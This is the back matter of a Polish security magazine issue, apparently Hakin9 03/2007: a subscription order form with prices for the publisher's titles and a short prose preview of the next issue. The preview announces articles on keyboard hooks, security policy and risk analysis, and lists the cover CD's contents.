- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

Cena prenumeraty rocznej dla osób prywatnych

2

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

6

140

Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem

4

119

3

background image

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku kwietnia 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

4/2007

w następnym numerze

między innymi:

Zapowiedzi

GLOBAL HOOKS-ZAGROŻENIA

I POTENCJALNE MOŻLIWOŚCI

W artykule zawarte będą informacje jak za pomocą global hooks przechwy-
tywać wszystkie zdarzenia związane z klawiaturą, co jest najprostszym spo-
sobem wykradania haseł. Ukazane będzie global hooks w programowaniu
np. poprzez utworzenie nowego ogólnego skrótu klawiatury zmieniającego
ustawienia okna aplikacji na (“zawsze na wierzchu”). Autor skupi się także
na generowaniu prawdziwych liczb losowych, co jest zagadnieniem bardzo
ciekawym z punktu widzenia kryptografii.

Z NOTATNIKA BEZPIECZNIKA

O wyższości Świąt Bożego Narodzenia nad Świętami Wielkiej Nocy- temat
tajniki budowy dobrej Polityki Bezpieczeństwa Informacji, który jest formą
wprowadzenia do głównego tematu jakim będzie audyt bezpieczeństwa
informacji dla opornych czyli jak zapewnić przydatność wyników badania.

ANALIZA RYZYKA JAKO DROGA WYJŚCIO-

WA DO SPRAWNEGO SYSTEMU ZARZĄDZANIA

BEZPIECZEŃSTWEM INFORMACJI

Analiza ryzyka jest fundamentem wdrażania systemu zarządzania bezpie-
czeństwem informacji. Na podstawie jej wyników określa się jakie obszary,
informacje, aktywa, ludzie są dla firmy najważniejsze i jakie należy zastoso-
wać procedury, technologię do zminimalizowania ryzyka bezpieczeństwa z
nimi związanymi. Przeprowadzenie analizy ryzyka jest niezbędne i odbywa
się z najwyższym kierownictwem. Wyróżnia się cztery pozycje związane z
ryzykiem i na podstawie wyników określa się również kiedy dane zabezpie-
czenia (i jakie) musza być wdrożone i monitorowane.

NA CD:
• hakin9.live-bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.

Atak

Obrona

Atak

background image
background image

Wyszukiwarka

Podobne podstrony:
Hakin9 23 (03 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 25 (05 2007) PL
Hakin9 29 (09 2007) PL
Hakin9 35 (03 2008) PL
Hakin9 26 (06 2007) PL
Hakin9 21 (01 2007) PL
Hakin9 28 (08 2007) PL
droga krzyżowa 23.03.2007, Drogi Krzyżowe
Hakin9 30 (10 2007) PL
08 Metafory w naszym życiu - Lakoff i Johnson - 23.03.2007, Filologia polska UWr, semestr 1 & 2, poe
Hakin9 27 (07 2007) PL
Hakin9 24 (04 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 26 (06 2007) PL

więcej podobnych podstron